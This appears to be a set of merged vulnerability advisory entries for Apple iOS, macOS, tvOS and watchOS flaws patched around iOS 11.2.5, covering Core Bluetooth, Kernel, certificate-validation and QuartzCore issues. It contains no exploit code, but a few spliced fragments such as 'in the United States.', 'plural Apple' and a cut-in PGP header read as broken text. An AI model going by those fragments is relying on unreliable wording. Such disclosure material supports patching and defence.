An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Core Bluetooth" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app. Apple iOS, tvOS and watchOS are prone to multiple memory corruption vulnerabilities. An attacker can leverage these issues to execute arbitrary code with system privileges. Failed exploit attempts will likely result in denial-of-service conditions. in the United States. Apple iOS is an operating system developed for mobile devices; tvOS is a smart TV operating system; watchOS is a smart watch operating system. A security vulnerability exists in the Core Bluetooth component in Apple iOS prior to 11.2.5, tvOS prior to 11.2.5, and watchOS prior to 4.2.2. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 APPLE-SA-2018-1-23-1 iOS 11.2.5 iOS 11.2.5 is now available and addresses the following: Audio Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted audio file may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation.

An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Kernel" component. It allows attackers to bypass intended memory-read restrictions via a crafted app. plural Apple A vulnerability exists in the product kernel component that bypasses memory read restrictions.An attacker could bypass the memory read limit through a crafted application. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities. An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system. watchOS is a smart watch operating system. The following products and versions are affected: Apple iOS prior to 11.2.5; macOS High Sierra prior to 10.13.3; watchOS prior to 4.2.2; tvOS prior to 11.2.5.

An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Security" component. It allows remote attackers to spoof certificate validation via crafted name constraints. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities. An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system; watchOS is a smart watch operating system. A remote attacker can exploit this vulnerability to prevent the device from properly using name restrictions on certificates.

An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "QuartzCore" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the implementation of the QuartzCore module. The issue results from the lack of proper handling of error conditions prior to indexing into a buffer. An attacker can leverage this vulnerability to execute code under the context of the current process. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities. An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system; watchOS is a smart watch operating system. QuartzCore is one of the core drawing framework components.
